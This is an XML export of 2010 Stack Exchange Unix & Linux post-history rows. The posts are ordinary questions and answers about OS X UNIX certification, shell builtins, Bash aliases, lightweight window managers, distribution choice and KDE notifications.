  <row Id="2917" PostHistoryTypeId="2" PostId="1489" RevisionGUID="a4566277-8791-4b93-b012-c810ee4e611d" CreationDate="2010-09-01T23:41:41.043" UserId="229" Text="I have this argument recently saying OSX was not UNIX, but Unix-like. &#xD;&#xA;&#xD;&#xA;I know there is a Single Unix Specification and those spec complaint could use the UNIX trade mark.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is Mac OS X  a UNIX operating system or is it a Unix-like?" />
  <row Id="2918" PostHistoryTypeId="1" PostId="1489" RevisionGUID="a4566277-8791-4b93-b012-c810ee4e611d" CreationDate="2010-09-01T23:41:41.043" UserId="229" Text="Is Mac OS X, UNIX?" />
  <row Id="2919" PostHistoryTypeId="3" PostId="1489" RevisionGUID="a4566277-8791-4b93-b012-c810ee4e611d" CreationDate="2010-09-01T23:41:41.043" UserId="229" Text="éunixà" />
  <row Id="2920" PostHistoryTypeId="2" PostId="1490" RevisionGUID="dfbada6d-0cce-4e1d-ba94-248ae29a29d5" CreationDate="2010-09-01T23:59:19.880" UserId="138" Text="OS X is certified as UNIX.  You may want to read Apple's &lt;a href=&quot;http://images.apple.com/macosx/technology/docs/L416017A_UNIX_TB_FF.pdf&quot;&gt;Unix technology brief&lt;/a&gt;." />
  <row Id="2921" PostHistoryTypeId="2" PostId="1491" RevisionGUID="7d60d0c0-dd93-46f5-bf8b-8f73db9ca93a" CreationDate="2010-09-02T00:00:37.183" UserId="160" Text="Well, given that it's [fully POSIX compliant](http://en.wikipedia.org/wiki/POSIX#Fully_POSIX-compliant) I would say yes." />
  <row Id="2922" PostHistoryTypeId="2" PostId="1492" RevisionGUID="f8ecc5f0-1456-406e-b0b6-7309657cf85b" CreationDate="2010-09-02T00:11:56.010" UserId="160" Text="I can't give you a precise answer but [this](http://www.xfce.org/xfwm4-theme-howto/) will get you started.  If that's too much work, you might want to check out [other themes](http://xfce-look.org/) for something similar with higher contrast tabs." />
  <row Id="2923" PostHistoryTypeId="5" PostId="1490" RevisionGUID="c3e2e362-d958-4bae-840b-33d4183ed9a0" CreationDate="2010-09-02T00:24:32.767" UserId="138" Comment="added 199 characters in body; added 100 characters in body; deleted 59 characters in body" Text="&lt;a href=&quot;http://www.opengroup.org/openbrand/register/&quot;&gt;OS X is certified as UNIX&lt;/a&gt; by The Open Group, starting with 10.5 and renewed for 10.6.&#xD;&#xA;&#xD;&#xA;This is called out in Apple's &lt;a href=&quot;http://images.apple.com/macosx/technology/docs/L416017A_UNIX_TB_FF.pdf&quot;&gt;Unix technology brief&lt;/a&gt;, which also has other good technical bits in it that will help you compare it to other UNIX&amp;reg; and Unix-like systems." />
  <row Id="2924" PostHistoryTypeId="2" PostId="1493" RevisionGUID="ef9ebf94-39fc-4c30-a432-23d6eb131722" CreationDate="2010-09-02T00:39:49.677" UserId="1382" Text="Have you tried downloading the amd64 stage3 tarball and using the copy of gcc with that?" />
  <row Id="2925" PostHistoryTypeId="2" PostId="1494" RevisionGUID="f521e84d-016a-4a1b-b267-0a555fa768d9" CreationDate="2010-09-02T02:15:10.730" UserId="1207" Text="You might try the `file` utility.  According to the manpage the &quot;magic tests&quot; it does can find binary files:&#xD;&#xA;&#xD;&#xA;&gt; The magic tests are used to check for files with data in particular fixed formats. The canonical example of this is a binary executable (compiled program) a.out file, whose format is defined in &lt;elf.h&gt;, &lt;a.out.h&gt; and possibly &lt;exec.h&gt; in the standard include directory.&#xD;&#xA;&#xD;&#xA;You might have to play around with the regular expression but something like:&#xD;&#xA;&#xD;&#xA;    $ find -type f -executable -exec file -i '{}' \; | grep 'x-executable; charset=binary'&#xD;&#xA;&#xD;&#xA;file has lots of options, so you might want to take a closer look at the man page. I used the first option I found that seemed to output easily-to-grep output." />
  <row Id="2926" PostHistoryTypeId="5" PostId="1359" RevisionGUID="11c1cb21-3775-4c2d-80a4-468a0556e895" CreationDate="2010-09-02T03:42:23.780" UserId="138" Comment="narrowed the time when echo got builtin to between 1982 and 1987; added 3 characters in body" Text="According to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Debian_Almquist_shell&quot;&gt;`dash`&lt;/a&gt; &lt;a href=&quot;http://linux.die.net/man/1/dash&quot;&gt;man page&lt;/a&gt;, there are two classes of builtins.&#xD;&#xA;&#xD;&#xA;Some commands have to be built-in because they cannot work if they are external.  `cd` is one such since if it were external, it could only change its own directory, it couldn't affect the current working directory of the shell.&#xD;&#xA;&#xD;&#xA;The other class of commands are built into the shell purely for efficiency.  The `dash` man page mentions `printf`, `echo`, and `test` as examples.&#xD;&#xA;&#xD;&#xA;In the beginning, the builtins in the second class were separate executables, and still are on every Unixy system I've used.&#xD;&#xA;&#xD;&#xA;By checking old manuals, I've been able to narrow the window where `echo` got built into the shell to some time after Unix System III was released (1982), where `echo` is not built-into the shell, but no later than Unix System V Release 3.1 (1987). I don't have manpages for any of the major candidate systems that appeared between these two, so `echo` could have been made a builtin before SVR3.  If so, likely candidates are 4BSD, SVR1, or SVR2.  I include BSD in the list because System V Release 1 brought a lot of BSD innovations back home to AT&amp;T, including `vi` and `curses`, so that could explain its appearance in the SVR3 manuals I have here." />
  <row Id="2927" PostHistoryTypeId="5" PostId="1359" RevisionGUID="8e5466c0-bcaa-44b4-8b44-6808e780defb" CreationDate="2010-09-02T05:43:35.773" UserId="138" Comment="added 70 characters in body; added 1 characters in body; added 50 characters in body; added 41 characters in body" Text="According to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Debian_Almquist_shell&quot;&gt;`dash`&lt;/a&gt; &lt;a href=&quot;http://linux.die.net/man/1/dash&quot;&gt;man page&lt;/a&gt;, there are two classes of builtins.&#xD;&#xA;&#xD;&#xA;Some commands have to be built-in because they cannot work if they are external.  `cd` is one such since if it were external, it could only change its own directory, it couldn't affect the current working directory of the shell.&#xD;&#xA;&#xD;&#xA;The other class of commands are built into the shell purely for efficiency.  The `dash` man page mentions `printf`, `echo`, and `test` as examples.&#xD;&#xA;&#xD;&#xA;In the beginning, the builtins in the second class were separate executables. These separate executables are still available on every Unixy system I've used, even though they're also built into every shell you're likely to use.&#xD;&#xA;&#xD;&#xA;By checking old manuals, I've been able to narrow the window where `echo` got built into the shell to some time after Unix System III was released (1982), where `echo` is not built-into the shell, but no later than Unix System V Release 3.1 (1987). I don't have manpages for any of the major candidate systems that appeared between these two, so `echo` could have been made a builtin before SVR3.  If so, likely candidates are 4BSD, SVR1, or SVR2.  I include BSD in the list because System V Release 1 brought a lot of BSD innovations back home to AT&amp;T, including `vi` and `curses`, so that could explain `echo`'s appearance as a builtin in the SVR3 manuals I have here even if it were a BSD feature originally." />
  <row Id="2928" PostHistoryTypeId="5" PostId="1359" RevisionGUID="13f7efa3-890c-4d96-8204-509018010541" CreationDate="2010-09-02T06:18:44.727" UserId="138" Comment="added 13 characters in body" Text="According to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Debian_Almquist_shell&quot;&gt;`dash`&lt;/a&gt; &lt;a href=&quot;http://linux.die.net/man/1/dash&quot;&gt;man page&lt;/a&gt;, there are two classes of builtins.&#xD;&#xA;&#xD;&#xA;Some commands have to be built-in because they cannot work if they are external.  `cd` is one such since if it were external, it could only change its own directory, it couldn't affect the current working directory of the shell.&#xD;&#xA;&#xD;&#xA;The other class of commands are built into the shell purely for efficiency.  The `dash` man page mentions `printf`, `echo`, and `test` as examples.&#xD;&#xA;&#xD;&#xA;In the beginning, the builtins in the second class were separate executables. These separate executables are still available on every Unixy system I've used, even though they're also built into every shell you're likely to use.&#xD;&#xA;&#xD;&#xA;By checking old manuals, I've been able to narrow the window where `echo` got built into the shell to some time after Unix System III was released (1982), where `echo` is not built-into the shell, but no later than Unix System V Release 3.1 (1987), where it is. I don't have manpages for any of the major candidate systems that appeared between these two, so `echo` could have been made a builtin before SVR3.  If so, likely candidates are 4BSD, SVR1, or SVR2.  I include BSD in the list because System V Release 1 brought a lot of BSD innovations back home to AT&amp;T, including `vi` and `curses`, so that could explain `echo`'s appearance as a builtin in the SVR3 manuals I have here even if it were a BSD feature originally." />
  <row Id="2929" PostHistoryTypeId="5" PostId="1463" RevisionGUID="1b1eaebf-c3fd-45f9-aa56-625e85d17994" CreationDate="2010-09-02T08:37:15.003" UserId="125" Comment="eBox platform renamed to Zentyal" Text="The differences among Linux distributions are not cosmically significant. In fact,&#xD;&#xA;it is something of a mystery why there are so many different distributions, each&#xD;&#xA;claiming “easy installation” and “a massive software library” as its distinguishing&#xD;&#xA;features. It’s hard to avoid the conclusion that people just like to make new Linux&#xD;&#xA;distributions.&#xD;&#xA;&#xD;&#xA;The most viable distributions are not necessarily the most corporate. For example,&#xD;&#xA;we expect Debian GNU/Linux to remain viable for a long time despite the fact that Debian is not a company, doesn’t sell anything, and offers no formal, on-demand support. Debian itself isn’t one of the most widely used distributions, but it benefits from a committed group of contributors and from the enormous popularity of the Ubuntu distribution, which is based on it.&#xD;&#xA;&#xD;&#xA;When you adopt a distribution, you are making an investment in a particular vendor’s way of doing things. Instead of looking only at the features of the installed software, it’s wise to consider how your organization and that vendor are going to work with each other in the years to come.&#xD;&#xA;&#xD;&#xA;**Some important questions to ask are:&#xD;&#xA;&#xD;&#xA; • Is this distribution going to be around in five years?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to stay on top of the latest security patches?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to release updated software promptly?&#xD;&#xA;&#xD;&#xA; • If I have problems, will the vendor talk to me?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're looking for a GNU/Linux distro you should definitely check these websites:&#xD;&#xA;&#xD;&#xA; - http://lwn.net/Distributions/&#xD;&#xA;   &#xD;&#xA; - http://distrowatch.com/&#xD;&#xA;&#xD;&#xA; - http://www.linux.org/dist&#xD;&#xA;&#xD;&#xA;If you're looking for a BSD you should check: http://bsdstats.org/&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Server oriented:&#xD;&#xA;&#xD;&#xA;- FreeBSD -&gt; http://www.freebsd.org/&#xD;&#xA;&#xD;&#xA;- Red Hat Enterprise Linux -&gt; http://www.redhat.com/rhel/&#xD;&#xA;&#xD;&#xA;- CentOS -&gt; http://www.centos.org/&#xD;&#xA;&#xD;&#xA;- Oracle Enterprise Linux -&gt; http://www.oracle.com/us/technologies/linux/index.html&#xD;&#xA;&#xD;&#xA;- SUSE Linux Enterprise Server -&gt; http://www.novell.com/products/server/&#xD;&#xA;&#xD;&#xA;- Debian -&gt; http://www.debian.org/&#xD;&#xA;&#xD;&#xA;- Ubuntu Server -&gt; http://www.ubuntu.com/server&#xD;&#xA;&#xD;&#xA;Small Business Server:&#xD;&#xA;&#xD;&#xA;- Zentyal -&gt; http://www.zentyal.org/&#xD;&#xA;&#xD;&#xA;- ClearOS -&gt; http://www.clearfoundation.com/&#xD;&#xA;&#xD;&#xA;- SME Server -&gt; http://wiki.contribs.org/Main_Page&#xD;&#xA;&#xD;&#xA;What I would choose:&#xD;&#xA;&#xD;&#xA;**Linuxes**: Ubuntu (Kubuntu), Debian, openSUSE (SUSE Linux Enterprise), Fedora (Red Hat Enterprise Linux, CentOS)&#xD;&#xA;&#xD;&#xA;**UNIXes**: Solaris, HP-UX, and AIX&#xD;&#xA;&#xD;&#xA;**BSDs**: FreeBSD, PC-BSD&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Credit: Some information in this post is taken from [&quot;UNIX and Linux System Administration Handbook&quot;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/q0dG7.jpg&#xD;&#xA;  [2]: http://admin.com/" />
  <row Id="2930" PostHistoryTypeId="2" PostId="1495" RevisionGUID="b498751f-e5cb-4197-8f93-62462f40065f" CreationDate="2010-09-02T09:33:57.010" UserId="1290" Text="I remember trying to send a SysRq key sequence to a remote machine...&#xD;&#xA;&#xD;&#xA;...but it was captured by the local one." />
  <row Id="2931" PostHistoryTypeId="16" PostId="1495" RevisionGUID="b498751f-e5cb-4197-8f93-62462f40065f" CreationDate="2010-09-02T09:33:57.010" UserId="-1" />
  <row Id="2932" PostHistoryTypeId="2" PostId="1496" RevisionGUID="30dc7e79-6d24-4d35-8a81-d15368c5f15c" CreationDate="2010-09-02T09:38:43.907" UserId="446" Text="In my `~/.bashrc` file reside two definitions:&#xD;&#xA;&#xD;&#xA;1. `commandA`, which is an alias to a longer path&#xD;&#xA;2. `commandB`, which is an alias to a Bash script&#xD;&#xA;&#xD;&#xA;I want to process the same file with these two commands, so I wrote the following Bash script:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    for file in $@&#xD;&#xA;        do&#xD;&#xA;        commandA $file&#xD;&#xA;        commandB $file&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Even after logging out of my session and logging back in, Bash prompts me with `command not found` errors for both commands when I run this script.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" />
  <row Id="2933" PostHistoryTypeId="1" PostId="1496" RevisionGUID="30dc7e79-6d24-4d35-8a81-d15368c5f15c" CreationDate="2010-09-02T09:38:43.907" UserId="446" Text="Why doesn't my Bash script recognize aliases?" />
  <row Id="2934" PostHistoryTypeId="3" PostId="1496" RevisionGUID="30dc7e79-6d24-4d35-8a81-d15368c5f15c" CreationDate="2010-09-02T09:38:43.907" UserId="446" Text="ébashà" />
  <row Id="2935" PostHistoryTypeId="2" PostId="1497" RevisionGUID="e007a2c7-aea8-4ea4-8f54-b4d3135a44ed" CreationDate="2010-09-02T10:16:31.740" UserId="273" Text="The one with the prettiest desktop.&#xD;&#xA;&#xD;&#xA;Admittedly, I only see it for a few seconds before opening an application, but basically there is surprisingly little difference between the distributions. For me, they all work well, and all have the same functionality. I don't care that the graphical package manager has a different name or looks a bit different. I don't care what form the packages come in. I don't care what the file manager is called.&#xD;&#xA;&#xD;&#xA;For a new user interested in finding the best distribution for him or herself, there are some points that I would make.&#xD;&#xA;&#xD;&#xA;Firstly, use a major &quot;easy to use&quot; distribution. The major distributions are not labeled &quot;easy to use&quot; in competition with each other, but as a comparison with the &quot;hard to use&quot; (or &quot;not quite so easy to use&quot;) stuff like Linux From Scratch, Arch etc. Similarly they all have a &quot;great range of software&quot; to distinguish themselves from stuff like Damn Small Linux.&#xD;&#xA;&#xD;&#xA;Secondly, try different distributions. As said in the question, personal preference is a large part of the choice, so make sure that you try the choices available. As you try different distributions, you will become more familiar with Linux rather than, say Fedora, and with your experience you can try those &quot;not quite so easy to use&quot; distributions. (But don't feel like you have to try them all. And don't feel that you have to change to a schedule. Something along the lines of install a new distribution rather than install a major update.)&#xD;&#xA;&#xD;&#xA;Thirdly, try the software that is available. You may like Banshee or Amarok or something else as your media player and you should be able to install them all in any distribution. This particularly applies to the available desktops, Gnome, KDE, XFCE, LXDE etc. At least try a couple of them.&#xD;&#xA;&#xD;&#xA;For a new user not all that interested in trying different distributions, I would suggest just going for one of the top 5 on [Distrowatch](distrowatch.com). Personally I'd suggest Opensuse, because that at least manages to have lots of desktops available and working properly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2936" PostHistoryTypeId="16" PostId="1497" RevisionGUID="e007a2c7-aea8-4ea4-8f54-b4d3135a44ed" CreationDate="2010-09-02T10:16:31.740" UserId="-1" />
  <row Id="2937" PostHistoryTypeId="2" PostId="1498" RevisionGUID="8756741b-8e70-4e50-93a9-11e7691f10bf" CreationDate="2010-09-02T10:20:27.897" UserId="678" Text="If you look into the bash manpage you find:&#xD;&#xA;&#xD;&#xA;&gt; Aliases are not expanded when the&#xD;&#xA;&gt; shell is not interactive, unless the &#xD;&#xA;&gt; expand_aliases shell  option  is  set&#xD;&#xA;&gt; using shopt (see the description of&#xD;&#xA;&gt; shopt under SHELL BUILTIN COMMANDS&#xD;&#xA;&gt; below).&#xD;&#xA;&#xD;&#xA;So put a&#xD;&#xA;&#xD;&#xA;    shopt -s expand_aliases&#xD;&#xA;in your script." />
  <row Id="2938" PostHistoryTypeId="2" PostId="1499" RevisionGUID="f74eec5e-879b-4d5b-bff8-c24db738ffee" CreationDate="2010-09-02T12:37:53.053" UserId="601" Text="First of all, as ddeimeke said, aliases by default are not expanded in non-interactive shells.&#xD;&#xA;&#xD;&#xA;Second, `.bashrc` is not read by non-interactive shells unless you set the `BASH_ENV` environment variable.&#xD;&#xA;&#xD;&#xA;But most importantly: don't do that! Please? One day you will move that script somewhere where the necessary aliases are not set and it will break again.&#xD;&#xA;&#xD;&#xA;Instead set and use environment variables as shortcuts in your script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    CMDA=/path/to/gizmo&#xD;&#xA;    CMDB=/path/to/huzzah.sh&#xD;&#xA;&#xD;&#xA;    for file in $@&#xD;&#xA;        do&#xD;&#xA;        $CMDA $file&#xD;&#xA;        $CMDB $file&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="2939" PostHistoryTypeId="2" PostId="1500" RevisionGUID="f61f36a3-0673-4a65-a92e-b97ba802f469" CreationDate="2010-09-02T12:54:41.263" UserId="250" Text="Hello fellows,&#xD;&#xA;&#xD;&#xA;I have been using Gnome and KDE for a while, and I am now running Compiz standalone... Regarding system resource, I think the most heavy ones are feature-rich desktop environments (Gnome, KDE), then lightweight environments (XFCE, LXDE), then Compiz standalone without any desktop environments (which I just discovered recently in [another question][1]). I wonder if I have come to the end of the list yet?&#xD;&#xA;&#xD;&#xA;(As the minimum, I want something that can run GUI apps like Firefox. I imagine something with a terminal from which I can start other applications...)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1206/the-most-light-weight-compiz-compatible-environment" />
  <row Id="2940" PostHistoryTypeId="1" PostId="1500" RevisionGUID="f61f36a3-0673-4a65-a92e-b97ba802f469" CreationDate="2010-09-02T12:54:41.263" UserId="250" Text="the lightest way to have a GUI in Linux?" />
  <row Id="2941" PostHistoryTypeId="3" PostId="1500" RevisionGUID="f61f36a3-0673-4a65-a92e-b97ba802f469" CreationDate="2010-09-02T12:54:41.263" UserId="250" Text="éperformanceàédesktopöenvironmentàéguiàélightweightà" />
  <row Id="2942" PostHistoryTypeId="2" PostId="1501" RevisionGUID="a78534a7-a340-4c4b-ac12-f8102c04335a" CreationDate="2010-09-02T13:20:37.800" UserId="1339" Text="Did you have a look at some other &quot;lighterweight&quot; ;-) window managers?&#xD;&#xA;&#xD;&#xA;I'm completly happy with i3 for example: http://i3.zekjur.net/&#xD;&#xA;&#xD;&#xA;It's just a tiling windowmanger with demnu for launching applications. No desktop, no other special features and the binary is just some Kbs.&#xD;&#xA;&#xD;&#xA;There are a lot others in this range:&#xD;&#xA;&#xD;&#xA; - evilwm - http://www.6809.org.uk/evilwm/ &#xD;&#xA; - dwm - http://dwm.suckless.org/ &#xD;&#xA; - ...&#xD;&#xA;&#xD;&#xA;The absolut minimum would be running your X-Server without any windowmanager and just with something like dmenu (http://tools.suckless.org/dmenu/) to launch applications. I'm not sure if this is really what you want, because you won't be able to resize the application windows, move them, etc.&#xD;&#xA;" />
  <row Id="2943" PostHistoryTypeId="2" PostId="1502" RevisionGUID="aba7d65f-bb34-4558-b939-cf15304b7c62" CreationDate="2010-09-02T13:41:13.243" UserId="272" Text="I just asked an Apple-minded buddy of mine what makes Keynote so cool, and he basically said that Keynote has a nifty screen while presenting, showing your notes and stuff. He couldn't name one unique feature that made Keynote cool apart from that. And as it happens, OpenOffice.org has the exact same thing. Sure the interface will be a bit different, but - as I understand it - there is nothing you can do with Keynote that you cannot do with Impress." />
  <row Id="2944" PostHistoryTypeId="2" PostId="1503" RevisionGUID="cb30ccaf-f89e-42c0-a2a5-edd842d059b8" CreationDate="2010-09-02T13:47:13.700" UserId="1387" Text="I have just bought a Logitech Cordless Wave UK Keyboard and mouse and I'm trying to get the keymapping sorted but not having much luck!&#xD;&#xA;&#xD;&#xA;The main problem I have is none of the key seem to give me the HASH symbol. &#xD;&#xA;&#xD;&#xA;Ideally I'm after a remapping script that I can get to run at start up or even a GUI based remapping software so I can get my keys to print what is actually label on each key! &#xD;&#xA;&#xD;&#xA;I have tried HIDPoint but I'm using VMWare to run Ubuntu 10.04 and it didn't recognise the keyboard or mouse&#xD;&#xA;&#xD;&#xA;Does anyone know how I can fix this?" />
  <row Id="2945" PostHistoryTypeId="1" PostId="1503" RevisionGUID="cb30ccaf-f89e-42c0-a2a5-edd842d059b8" CreationDate="2010-09-02T13:47:13.700" UserId="1387" Text="Ubuntu Remap script for UK Logitech Cordless Wave Keyboard" />
  <row Id="2946" PostHistoryTypeId="3" PostId="1503" RevisionGUID="cb30ccaf-f89e-42c0-a2a5-edd842d059b8" CreationDate="2010-09-02T13:47:13.700" UserId="1387" Text="éubuntuàékeyboardà" />
  <row Id="2947" PostHistoryTypeId="2" PostId="1504" RevisionGUID="0294d48e-8f97-4acc-9214-55bf65a11257" CreationDate="2010-09-02T13:50:57.867" UserId="298" Text="The OpenBSD implementation of cwm, is an awesome balance between lightweight and feature rich.  By default, only an xterm comes up when you login.  There are no decorations around the windows, and nothing on the desktop.  Everything is done via keyboard (and, yes, I mean everything).  If you want to ssh somewhere `Alt+.` will pull up an ssh dialog.  If you want to execute a program `Shift+Alt+/` will bring up an exec dialog. &#xD;&#xA;&#xD;&#xA;Full list of features/commands is available [as a man page][1].&#xD;&#xA;&#xD;&#xA;Unfortunately, this is only available on OpenBSD as far as I can tell.  Though the source can be compiled and run on linux, which is what I do when I'm not allowed to use OpenBSD.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/cgi-bin/man.cgi?query=cwm&amp;sektion=1" />
  <row Id="2949" PostHistoryTypeId="6" PostId="1489" RevisionGUID="9c787a09-dc1c-478f-95f0-03116a7f0e63" CreationDate="2010-09-02T14:20:09.903" UserId="125" Comment="edited tags" Text="éunixàémacàémacoxà" />
  <row Id="2950" PostHistoryTypeId="2" PostId="1506" RevisionGUID="210c7664-2c67-405c-8a8e-a4b85bbe5323" CreationDate="2010-09-02T14:22:40.370" UserId="29" Text="I think KDE's notifier is pretty sweet. I was thinking... how useful might it be if my system logs were also sent there, so they would pop so I could see them. I'm wondering if anyone has any idea how this could be accomplished? or any documentation on it. I believe Gnome now uses this same API so I don't think this is actually platform dependant." />
  <row Id="2951" PostHistoryTypeId="1" PostId="1506" RevisionGUID="210c7664-2c67-405c-8a8e-a4b85bbe5323" CreationDate="2010-09-02T14:22:40.370" UserId="29" Text="Send system logs to KDE notifier" />
  <row Id="2952" PostHistoryTypeId="3" PostId="1506" RevisionGUID="210c7664-2c67-405c-8a8e-a4b85bbe5323" CreationDate="2010-09-02T14:22:40.370" UserId="29" Text="ékdeàélogsà" />
  <row Id="2953" PostHistoryTypeId="2" PostId="1507" RevisionGUID="106e4844-50c3-4301-b2bc-9b16caeb46f6" CreationDate="2010-09-02T15:23:55.373" UserId="289" Text="Assuming you want it as a laptop to get some sort of work done, not as part of learning a new distro or the Linux kernel or something like that:&#xD;&#xA;&#xD;&#xA;Get a fairly popular one with a package manager and a desktop you like.  Then install whatever else you want.  The desktop is how you're going to interact with the system, the package manager is how you're going to get the software you want, and the people who use it are your support system.  All else is minor.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2954" PostHistoryTypeId="16" PostId="1507" RevisionGUID="106e4844-50c3-4301-b2bc-9b16caeb46f6" CreationDate="2010-09-02T15:23:55.373" UserId="-1" />
  <row Id="2955" PostHistoryTypeId="2" PostId="1508" RevisionGUID="6c6cb1d1-0e96-410e-a5a5-54c728e54585" CreationDate="2010-09-02T15:45:57.773" UserId="29" Text="*answer in progress. I'll update as I figure it out*&#xD;&#xA;&#xD;&#xA;    kdialog --help # view options&#xD;&#xA;    kdialog --title syslog --passivepopup &quot;foo&quot; 2 &#xD;&#xA;&#xD;&#xA;[kde forum discussion on dbus interface][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forum.kde.org/viewtopic.php?f=66&amp;t=23580" />
  <row Id="2956" PostHistoryTypeId="5" PostId="1506" RevisionGUID="2332f7ea-293f-457e-ae41-ff027208cbd4" CreationDate="2010-09-02T15:49:51.417" UserId="29" Comment="refactor question" Text="I think KDE's notifier is pretty sweet. I was thinking... how useful might it be if my system logs were also sent there, so they would pop so I could see them. I think the first step of this is to figure out how to send messages to the notifier via CLI." />
  <row Id="2957" PostHistoryTypeId="4" PostId="1506" RevisionGUID="2332f7ea-293f-457e-ae41-ff027208cbd4" CreationDate="2010-09-02T15:49:51.417" UserId="29" Comment="refactor question" Text="CLI interace to KDE's notifier" />
  <row Id="2958" PostHistoryTypeId="6" PostId="1506" RevisionGUID="2332f7ea-293f-457e-ae41-ff027208cbd4" CreationDate="2010-09-02T15:49:51.417" UserId="29" Comment="refactor question" Text="écommandölineàékdeà" />
  <row Id="2959" PostHistoryTypeId="2" PostId="1509" RevisionGUID="32e0da1f-ffa5-40b4-9a76-a90d2ddd5c1b" CreationDate="2010-09-02T15:56:05.513" UserId="1389" Text="Install fine. Works fine. Next day the logo and apps menu entry is gone. Doesn't seem to matter what I do. On installation, GDebi refused to install the package, and crashed instead, so I used dpkg -i. &#xD;&#xA;&#xD;&#xA;As for the logo and apps menu entry, I suppose I'll just have to glue it in place. Sorry Firefox.&#xD;&#xA;&#xD;&#xA;I install the latest version with dpkg, I use it for a while, it goes into the Internet tab fine. Then I shut down, and the next time I start up it's missing. The program runs fine from a terminal as google-chrome&#xD;&#xA;&#xD;&#xA;So, my question is, where are the details of this stuff stored? Is it a single text file in /usr? Is it a bunch of stuff that's hard to edit by hand? And where is the logo likely to reside?&#xD;&#xA;&#xD;&#xA;I know there's probably a GUI way to do this, but it will be more satisfying, and possibly less error-prone, if I simply override whatever's causing Ubuntu/GNOME to lose the icon and applications menu entry." />
  <row Id="2960" PostHistoryTypeId="1" PostId="1509" RevisionGUID="32e0da1f-ffa5-40b4-9a76-a90d2ddd5c1b" CreationDate="2010-09-02T15:56:05.513" UserId="1389" Text="dpkg and google-chrome don't get along with gnome" />
  <row Id="2961" PostHistoryTypeId="3" PostId="1509" RevisionGUID="32e0da1f-ffa5-40b4-9a76-a90d2ddd5c1b" CreationDate="2010-09-02T15:56:05.513" UserId="1389" Text="égnomeàépackagingàédebianà" />
  <row Id="2962" PostHistoryTypeId="5" PostId="1506" RevisionGUID="7aaa5b2b-2d20-49b9-9eb5-270ce8369b97" CreationDate="2010-09-02T16:38:44.090" UserId="29" Comment="add dbus" Text="I think KDE's notifier is pretty sweet. I was thinking... how useful might it be if my system logs were also sent there, so they would pop so I could see them. I think the first step of this is to figure out how to send messages to the notifier via CLI.&#xD;&#xA;&#xD;&#xA;here's the [kde forum discussion on dbus interface][1]. I'm not really sure how to use this interface. If anyone is more familiar with dbus perhaps they can write an answer detailing various ways to access it via dbus.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forum.kde.org/viewtopic.php?f=66&amp;t=23580" />
  <row Id="2963" PostHistoryTypeId="6" PostId="1506" RevisionGUID="7aaa5b2b-2d20-49b9-9eb5-270ce8369b97" CreationDate="2010-09-02T16:38:44.090" UserId="29" Comment="add dbus" Text="écommandölineàékdeàédbusà" />
  <row Id="2964" PostHistoryTypeId="5" PostId="1508" RevisionGUID="b7e0d283-eaaf-42b1-916c-27e7cfbf9dae" CreationDate="2010-09-02T16:39:26.773" UserId="29" Comment="remove dbus stuff" Text="kdialog method&#xD;&#xA;&#xD;&#xA;    kdialog --help # view options&#xD;&#xA;    kdialog --title syslog --passivepopup &quot;foo&quot; 2 &#xD;&#xA;&#xD;&#xA;  [1]: http://forum.kde.org/viewtopic.php?f=66&amp;t=23580" />
  <row Id="2965" PostHistoryTypeId="2" PostId="1510" RevisionGUID="f6887b9c-4058-46c5-ac50-22df2806f628" CreationDate="2010-09-02T17:00:22.707" UserId="29" Text="According to the documentation I can execute a program like so-ish: &#xD;&#xA;&#xD;&#xA;    destination knotifier { program('/path/to/executable'; };&#xD;&#xA;&#xD;&#xA;and it will send the log to the stdin of the executable. But what if the program I'm executing would need the input as an argument to an option? is there a way to do that? or do I have to write a wrapper for the program I'm executing?" />
  <row Id="2966" PostHistoryTypeId="1" PostId="1510" RevisionGUID="f6887b9c-4058-46c5-ac50-22df2806f628" CreationDate="2010-09-02T17:00:22.707" UserId="29" Text="Can I send the ouput of a log to a command as an argument to an option in syslog-ng?" />
  <row Id="2967" PostHistoryTypeId="3" PostId="1510" RevisionGUID="f6887b9c-4058-46c5-ac50-22df2806f628" CreationDate="2010-09-02T17:00:22.707" UserId="29" Text="élogsàésyslogöngà" />
  <row Id="2968" PostHistoryTypeId="6" PostId="439" RevisionGUID="282549e5-ac52-4c52-b944-01e5513d0c9f" CreationDate="2010-09-02T17:01:14.140" UserId="29" Comment="edited tags" Text="éfilesàélogsàésizeàélogrotateà" />
  <row Id="2969" PostHistoryTypeId="6" PostId="1500" RevisionGUID="385ea43b-6fd9-4c4d-9027-a66d3567ed5a" CreationDate="2010-09-02T17:02:54.447" UserId="29" Comment="edited tags" Text="éperformanceàéwindowömanageràédesktopöenvironmentàéguiàélightweightà" />
  <row Id="2970" PostHistoryTypeId="6" PostId="1509" RevisionGUID="be3dae09-0cd7-488d-9cd7-34b9bf87682b" CreationDate="2010-09-02T17:09:24.137" UserId="29" Comment="edited tags" Text="éubuntuàégnomeàépackagingàédpkgà" />
